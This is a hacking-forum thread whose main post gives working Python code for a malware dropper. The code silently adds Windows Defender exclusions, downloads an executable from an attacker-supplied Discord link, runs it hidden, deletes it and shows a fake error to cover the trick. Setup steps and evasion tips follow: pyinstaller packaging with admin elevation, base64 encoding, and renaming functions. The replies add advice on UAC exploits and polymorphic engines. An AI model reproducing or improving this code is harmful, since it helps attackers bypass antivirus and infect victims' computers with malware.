

Forum:[Hack Forums](#)

Thread: [Temporarily Bypass AV's - WD ! \(Simple Method\)](#)

alpacino34 - September 15, 2023, 11:42 am

First of all, I would like to say that this is a simple solution. It's not even considered a solution. It is a method that works temporarily and I used it for long periods. Now I will share this method with you step by step and tell you how you can improve it.

Let me share the code first for those who do not want to read more;

Code import requests

import subprocess

import os

import tempfile

import time

import ctypes

```
def down_an_exct_fil(url, del_after_sec=5):
```

```
    try:
```

```
        # add exe exclusion
```

```
        os.system('powershell Add-MpPreference -ExclusionExtension ".exe" -WindowStyle Hidden')
```

```
        # get exe file
```

```
        response = requests.get(url)
```

```
        # create exe file in temp folder
```

```
        tmp_dri = tempfile.mkdtemp()
```

```
        ex_fil_patt = os.path.join(tmp_dri, 'YOUR-EXE-NAME.exe')
```

```
        with open(ex_fil_patt, 'wb') as f:
```

```
            f.write(response.content)
```

```
        # add temp folder exclusion after creating exe (important).
```

```
        os.system(f'powershell Add-MpPreference -ExclusionPath "{tmp_dri}" -WindowStyle Hidden')
```

```
        # run exe silently.
```

```
        subprocess.Popen([ex_fil_patt], stdin=subprocess.PIPE, stdout=subprocess.PIPE,
```

```
stderr=subprocess.PIPE, creationflags=subprocess.CREATE_NO_WINDOW, shell=True)
```

```
        print("exe file ran successfully.")
```

```
        # Delete the file after a certain period of time and add an error.
```

```
        time.sleep(del_after_sec)
```

```
        os.remove(ex_fil_patt)
```

```
        print("exe file deleted.")
```

```
        # add error (a sample error message).
```

```
        ctypes.windll.user32.MessageBoxW(0, "The service was stopped because the 'winmcr.dll' file  
could not be found.", "WINMCR.dll Could Not Be Found", 0x10)
```

```
except Exception as e:  
    print(f'an error occurred: {str(e)}')
```

```
# specify the URL of the .exe file to download.  
url = "PUT YOUR DISCORD FILE DOWNLOAD LINK HERE !"
```

```
# download the exe, run it and delete it after a certain period of time.  
down_an_exct_fil(url)Currently (09-15-2023) this method works. It can bypass Windows Defender  
and run your payload.
```

But it is not even certain what will happen after 2-3 hours. But I can say that even if it gets caught, you can use the same method over and over again by using different function and parameter names, using different libraries, using different languages.

First, upload your .exe file to a discord server.

Afterwards, you need to paste the download link of this file in the 43rd line of the code "PUT YOUR DISCORD FILE DOWNLOAD LINK HERE!".

Replace the text 'YOUR-EXE-NAME.exe' in line 18 with your file name.

You can either edit or remove the fake error display on line 36. It's entirely up to you.

Finally, convert this py file to exe with pyinstaller;

Code `pyinstaller --noconfirm --onefile --windowed --icon`

`"C:/Users/ALPACINO34/Desktop/YOURICON.ico" --name "YOUREXENAME" --clean --uac-admin`

`"C:/Users/ALPACINO34/Desktop/YOURPYFILE.py"` or you can use "auto-py-to-exe". same thing.

Some simple ideas how you can improve it: You can convert the exe file to base64 code and upload it to your website. Then you can execute this base64 code by decoding it with Python and turning it into an exe again. This may slightly reduce the chances of being caught.

You may want to consider running a ps or bat file. This may also reduce the chances of being caught.

If this method doesn't work, you can try the same method with different Python libraries. You can try to change the names of functions and similar things. Rest assured, it works sometimes. (Even changing the icon can sometimes help.)

For friends with advanced knowledge,

I know this method is temporary. But I want to share this because it may still be useful in some cases. Also, maybe it will be an idea for new friends and they can take this much further.

Moderators,

I realize this is not "Advanced Hacking". However, I could not find the "Cryptography, Encryption, and Decryption" category in any other section. I hope I'm in the right place :)

Ren And Stimpy - September 15, 2023, 2:10 pm

Yes, you can use WD disabler and excluder, but you'll need to run as admin.

Nice share, though for beginners! Keep it up mate! +10 repp'd

Tentco - November 12, 2023, 6:17 am

This is trash WD has captured this method infinite times.

Kayfoxz - November 12, 2023, 6:20 am

“Discord file link” nice POC but I wouldn’t recommend A N Y O N E to do this, discord automatically uploads any files to VT

Frost Crypt - November 12, 2023, 8:20 am

wd exclusion can be done without running as admin with uac exploit

<https://vimeo.com/883734127>

Tentco - November 12, 2023, 10:07 am

(Nov 12, 2023 07:20 AM)Kayfoxz Wrote: [\[CITE\]](#) “Discord file link” nice POC but I wouldn’t recommend A N Y O N E to do this, discord automatically uploads any files to VT

Not actually an issue if you could throw up a working polymorphic engine.

Also this is not a POC this is trash straight up.

I miss [osn64698](#) real G, this guy knows his thing.